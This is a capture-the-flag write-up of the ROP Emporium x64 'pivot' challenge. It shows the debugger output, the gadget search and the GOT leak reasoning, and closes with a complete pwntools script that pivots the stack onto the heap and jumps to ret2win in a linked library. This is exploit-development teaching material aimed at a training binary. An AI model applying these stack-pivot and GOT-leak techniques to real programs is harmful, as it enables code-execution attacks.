ROP x64 Challenge 7.

Challenge 7

Continuing to work our way through common problems with creating ROP exploits, what happens if you run out of space (like I did last challenge) and you can’t shrink your payload anymore? Well, if you can write data into other locations on the stack then you can just write your payload there and call it from your smaller area. Which is exactly what this challenge is about.

There’s only enough space for a small ROP chain on the stack, but you’ve been given space to stash a much larger chain elsewhere. Learn how to pivot the stack onto a new location.

However, there’s another challenge that we face in this binary. Rather then having a print_file function we have a ret2win function. Which is nice, but it is placed in an linked library and not normally called, so there is no static address to call it by.

However first things first, lets get access to the larger exploit chain.

Looking at the usefulGadgets section we see the following.

pwndbg> disass usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x00000000004009bb <+0>:     pop    rax
   0x00000000004009bc <+1>:     ret    
   0x00000000004009bd <+2>:     xchg   rsp,rax
   0x00000000004009bf <+4>:     ret    
   0x00000000004009c0 <+5>:     mov    rax,QWORD PTR [rax]
   0x00000000004009c3 <+8>:     ret    
   0x00000000004009c4 <+9>:     add    rax,rbp
   0x00000000004009c7 <+12>:    ret    
   0x00000000004009c8 <+13>:    nop    DWORD PTR [rax+rax*1+0x0]

Also running piviot gives the following

./pivot
pivot by ROP Emporium
x86_64

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7fb54f72cf10
Send a ROP chain now and it will land there
> 
Thank you!

Now please send your stack smash
> 
Thank you!

Exiting

A quick google of the xchg instruction shows that it is exchange. Basically it just swaps the values. Combine that with the pop rax gadget we have, and we can make the stack pointer whatever value we want. If you look through the output of the pivot binary, it actually prints off the location on the heap that we store our second chain in too. This means we just have to make the stack pointer that value.

An important note, that value changes every time the binary is run, so you can not just hard code it. You have to parse the binaries outputs to craft your payload.

         | stack          |
         | -------------- |
32 bytes | start buffer   |
8  bytes | base pointer   | 
8  bytes | pop rax gadget |
8  bytes | rax value      | # This must be calculated from the binaries print out
8  bytes | xchg gadget    | 
8  bytes | -------------- |

This will start executing our chain stored in the heap which we now have to craft.

So the idea is pretty simple, we just have to call the ret2win function. Trying to figure out where the ret2win function is shows that it is in the attached library.

pwndbg> disass ret2win
No symbol table is loaded.  Use the "file" command.
pwndbg> ls
core  exploit.py  flag.txt  libpivot.so  notes  payload  pivot  pivot.zip
pwndbg> file ./libpivot.so 
Reading symbols from ./libpivot.so...
(No debugging symbols found in ./libpivot.so)
Error in re-setting breakpoint 1: Function "main" not defined.
Error in re-setting breakpoint 2: No symbol table is loaded.  Use the "file" command.
pwndbg> disass ret2win
Dump of assembler code for function ret2win:
   0x0000000000000a81 <+0>:     push   rbp
   0x0000000000000a82 <+1>:     mov    rbp,rsp
   0x0000000000000a85 <+4>:     sub    rsp,0x40

So we have to figure out some way to get into the added library. To do this let’s look at the functions that the pivot binary uses.

rabin2 -i ./pivot
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x004006d0 GLOBAL FUNC       free
2   0x004006e0 GLOBAL FUNC       puts
3   0x004006f0 GLOBAL FUNC       printf
4   0x00400700 GLOBAL FUNC       memset
5   0x00400710 GLOBAL FUNC       read
6   0x00000000 GLOBAL FUNC       __libc_start_main
7   0x00000000 WEAK   NOTYPE     __gmon_start__
8   0x00400720 GLOBAL FUNC       foothold_function
9   0x00400730 GLOBAL FUNC       malloc
10  0x00400740 GLOBAL FUNC       setvbuf
11  0x00400750 GLOBAL FUNC       exit

In there we see the binary uses the foothold function and according to the challenge description “This challenge imports a function named foothold_function() from a library that also contains a ret2win() function.” To do this, we have to understand how the plt (Procedure Linkage Table) works and external libraries are added to a binary.

To understand how the plt binary works, I would recommend reading this section on ROP Emporium.

So what we need to do is call the foothold function which is in the external library, but has a plt entry, in order to populate the value in the global offset table to get an address in the linked library. We then figure out what that value is and then add/subtract the offset to the ret2win function and go to that location.

If we look at the gadgets that we have access to, we have complete control over rax, can add values to rax (if we can control rbp), and we can place arbitrary chunks of memory into rax.

After doing a quick check, we are able to easily find a pop rbp register as well. So we collect the information that we need:

gdb ./libpivot.so
pwndbg> disass foothold_function 
Dump of assembler code for function foothold_function:
   0x000000000000096a <+0>:     push   rbp
   0x000000000000096b <+1>:     mov    rbp,rsp
   0x000000000000096e <+4>:     lea    rdi,[rip+0x1ab]        # 0xb20
   0x0000000000000975 <+11>:    call   0x830 <puts@plt>
   0x000000000000097a <+16>:    nop
   0x000000000000097b <+17>:    pop    rbp
   0x000000000000097c <+18>:    ret    
End of assembler dump.
pwndbg> disass ret2win 
Dump of assembler code for function ret2win:
   0x0000000000000a81 <+0>:     push   rbp
   0x0000000000000a82 <+1>:     mov    rbp,rsp
   0x0000000000000a85 <+4>:     sub    rsp,0x40

0x96a-0xa81 = offset

Global offset Table address

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 9
 
...
[0x601040] foothold_function -> 0x400726 (foothold_function@plt+6) ◂— push   5
...

pwndbg> plt
...
0x400720: foothold_function@plt
...

Finally, let’s see if there is anything that can move the IP to rax.

pwndbg> ropper -- --search "jmp rax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp rax

[INFO] File: /root/working/pivot/pivot_64/pivot
0x00000000004007c1: jmp rax; 

And that gadget works perfectly. So we can construct our payload as follows:

         | stack          |
         | -------------- |
8  bytes | foothold_func  | # call foothold function so it is populated
8  bytes | pop_rax gadget |                                                     
8  bytes | foothold got   | # The memory location of the footholds GOT entry                       
8  bytes | mov rax [rax]  | # Place the value at rax into rax               
8  bytes | pop rbp        | #                                                     
8  bytes | offset         | # offset between foothold and ret2win func        
8  bytes | add rax, rbp   | # Add the offset to rax                   
8  bytes | jmp rax        | # Call the jmp rax gadget to call ret2win                       
8  bytes | -------------- |

You would then place this payload into the heap and call it with the previously crafted attack which gives us the overall exploit of:

#!/usr/bin/python3

from pwn import *

write_loc 	= 0x601029
print_file 	= p64(0x400620)
target		= "./pivot"
back_junk 	= b"B" * 20

# The amount to fill the buffer
junk = b'A' * 0x20

# The 8 bytes to fill the new base pointer from the leave
new_bp = p32(0xc0deba5e)*2

"""
Place a string (1st arg) into the location
given by the 2nd arg. Note the 2nd arg should be 
packed
"""
import binascii
def print_payload(payload):
	for i in range(0, len(payload), 8):
		continue
		print(binascii.hexlify(payload[i:i+8]))

io = process(target)
first_out = io.clean(0.5).decode("utf-8")
print(first_out)
stack_smash = junk + new_bp

############### Set up the pivot ##############

# pop rax
stack_smash += p64(0x04009bb)

# the RAX binary
# I need to be interacting with the binary here by parsing out the heap loc
pivot_loc = int(first_out.split("\n")[4].split()[-1], 16)
stack_smash += p64(pivot_loc)

# exchange rsp and rax
stack_smash += p64(0x04009bd)

stack_smash += back_junk

################ create the payload ####################
#Fill up the buffer and the base pointer

# call the foothold function
payload = p64(0x00400720)

# pop rax off with the value of the location of the got for the foothold func
payload += p64(0x04009bb)
payload += p64(0x601040)

# mov the value in the got into rax
payload += p64(0x4009c0)

# place the offset from foothold to ret2win in rbp
## pop rbp
payload += p64(0x004007c8)
## offset to place in it
payload += p64(0xa81-0x96a)

# add the offset to rax
payload += p64(0x04009c4)

# jump to rax
payload += p64(0x04007c1)

# print("The payload is:")
# print(payload)
print("Payload size is:" + str(len(payload)))
input("Hit enter to apptempt exploit")

print(io.clean(0.5).decode("utf-8"))
io.send(payload)
print(io.clean(0.5).decode("utf-8"))
io.send(stack_smash)
io.send(payload)
input("exploit sent hit enter to end")

print(io.clean(0.5).decode("utf-8"))
sleep(1)

f = open('./payload', 'wb')
f.write(payload)
f.close()